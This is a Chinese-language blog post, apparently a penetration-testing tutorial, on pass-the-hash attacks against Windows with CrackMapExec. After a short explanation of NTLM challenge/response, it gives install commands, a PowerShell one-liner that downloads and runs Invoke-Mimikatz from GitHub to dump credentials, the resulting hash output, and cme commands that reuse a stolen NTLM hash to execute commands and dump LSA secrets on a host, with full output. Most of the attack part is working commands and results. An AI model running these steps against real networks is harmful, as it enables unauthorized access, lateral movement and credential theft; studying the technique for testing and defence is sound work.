

倾旋的博客

使用CrackMapExec 进行 NTLM Hash传递攻击

📅 27 Mar 2018

本文介绍一个工具 - CrackMapExec 进行 NTLM Hash传递攻击

0x01 前言

早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制，简称 LM，它是如此简单以至很容易就被破解。微软提出了Windows NT挑战/响应验证机制，称之为NTLM。

从 Win2000 开始默认协议为 Kerberos，下列情况会调用 NTLM：

- 遗留客户端或服务需要登录到网络或本地时。
- UNIX客户端需要与NT服务器通话时。
- 有正在使用验证 NTLM 的服务器信息块 (SMB) 后台程序的UNIX客户端时。
- 也即认证方或被认证方有仅支持NTLM情况时。

它以 挑战/响应 (Challenge/Response) 顺序为基础。

- 1.客户端发送用户名和域名到服务器。
- 2.服务器转发到域控制器DC。
- 3.DC 用客户端密码随机产生一个 8字节 的挑战 (Challenge)，发送给服务器。
- 4.服务器将挑战转发给客户端。
- 5.客户端用密码经过 hash 及 DES 加密算法等操作得到一个加密结果响应 (Response) 发送给服务器。
- 6.服务器将响应转发给 DC。
- 7.DC 做同样操作验证客户端响应。
- 8.验证结束，返回结果通知服务器。

0x02 NTLM对渗透的作用

NTLM就好像是一个令牌，有了这个令牌就相当于获取了这个令牌所属者的权限。

最大的特点就是我们可以使用 SMB 执行 Command。

0x03 CrackMapExec 介绍

CrackMapExec提供了域环境（活动目录）渗透测试中一站式便携工具，它具有列举登录用户、通过SMB(Server Message Block)网络文件共享协议爬虫列出SMB分享列表，执行类似于Psexec的攻击、使用powerShell脚本执行自动式Mimikatz/Shellcode/DLL注入到内存中，dump NTDS.dit密码。

Wiki:<https://github.com/byt3bl33d3r/CrackMapExec/wiki>

0x03 安装CrackMapExec

Kali Linux

```
apt-get install crackmapexec
```

Debian/Ubuntu

```
apt-get install -y libssl-dev libffi-dev python-dev build-essential  
pip install crackmapexec
```

0x04 传递NTLM Hash执行命令

使用Mimikatz 获取NTLM Hash

```
PS C:\Users\administrator\Documents>IEX(New-Object Net.WebClient).DownloadSt  
ring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/E  
xfiltration/Invoke-Mimikatz.ps1')
```

```
PS C:\Users\administrator\Documents>Invoke-Mimikatz
```

获取NTLM Hash

```
****
msv :
  [00000003] Primary
  * Username : Administrator
  * Domain   : PAYLOADS
  * LM       : 5609e3f4c7c56d5fa86fb73c70515bd7
  * NTLM     : dab7de8feeb5ecac65faf9fdc6cac3a9
  * SHA1     : 67302089bba4993f2f845e5992db0a21e64679fa
tspkg :
  * Username : Administrator
  * Domain   : PAYLOADS
  * Password : ****
wdigest :
  * Username : Administrator
  * Domain   : PAYLOADS
  * Password : ****
kerberos :
  * Username : Administrator
  * Domain   : PAYLOADS.ONLINE
  * Password : ****
ssp :
credman :
```

使用 CrackMapExec 执行命令



```
root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB          192.168.3.5      445      LIYINGZHEA30B      [*] Windows 7 Ultimate 7
601 Service Pack 1 x64 (name:LIYINGZHEA30B) (domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB          192.168.3.5      445      LIYINGZHEA30B      [+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9 (Pwn3d!)
SMB          192.168.3.5      445      LIYINGZHEA30B      [+] Executed command
SMB          192.168.3.5      445      LIYINGZHEA30B      payloads\administrator
```

使用 CrackMapExec 获取本地密码(Local Security Authority)LSA

```
root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 --lsa
SMB          192.168.3.5      445      LIYINGZHEA30B      [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B) (domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB          192.168.3.5      445      LIYINGZHEA30B      [+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9 (Pwn3d!)
SMB          192.168.3.5      445      LIYINGZHEA30B      [+] Dumping LSA secrets
SMB          192.168.3.5      445      LIYINGZHEA30B      WinHack:d3a4b1078aba22996575dd38056e3c99:PAYLOADS.ONLINE:PAYLOADS:::
SMB          192.168.3.5      445      LIYINGZHEA30B      Administrator:ff007a95ee46c0240e7f0c4b9b0c890a:PAYLOADS.ONLINE:PAYLOADS:::
SMB          192.168.3.5      445      LIYINGZHEA30B      PAYLOADS\LIYINGZHEA30B$:aad3b435b51404eeaad3b435b51404ee:eda8896ce9133d0bc0b6ece9cb0d45:::
SMB          192.168.3.5      445      LIYINGZHEA30B      DPAPI_SYSTEM:01000000faf06c0f43acbed98d62bd9829d053acb06a00f159e3419d193ff5be56c028fe8d7f0053161d9331
SMB          192.168.3.5      445      LIYINGZHEA30B      NL$KM:ac8c8a7ce1dd903d74a231a44fcf5df82db711df62e495da9b5f10c3a52dd618a8abce6975c69fea6a9ed69ff6511c62f9a750b5d696a69c3221dc0f1f849f3d
SMB          192.168.3.5      445      LIYINGZHEA30B      [+] Dumped 5 LSA secrets to /root/.cme/logs/LIYINGZHEA30B_192.168.3.5_2018-03-27_155122.lsa and /root/.cme/logs/LIYINGZHEA30B_192.168.3.5_2018-03-27_155122.cached
```

More ...

后续再加

<div>@Rvn0xsy</div> <div>(https://twitter.com/Rvn0xsy)</div>	QR code
<div> https://payloads.online/archivers/2018-03-27/1</div> <div> 27-Mar-18</div> <div> BY-NC-SA 4.0</div> <div>https://payloads.online/disclosure</div>	<div></div> <div>https://payloads.online/archivers/2018-03-27/1</div>

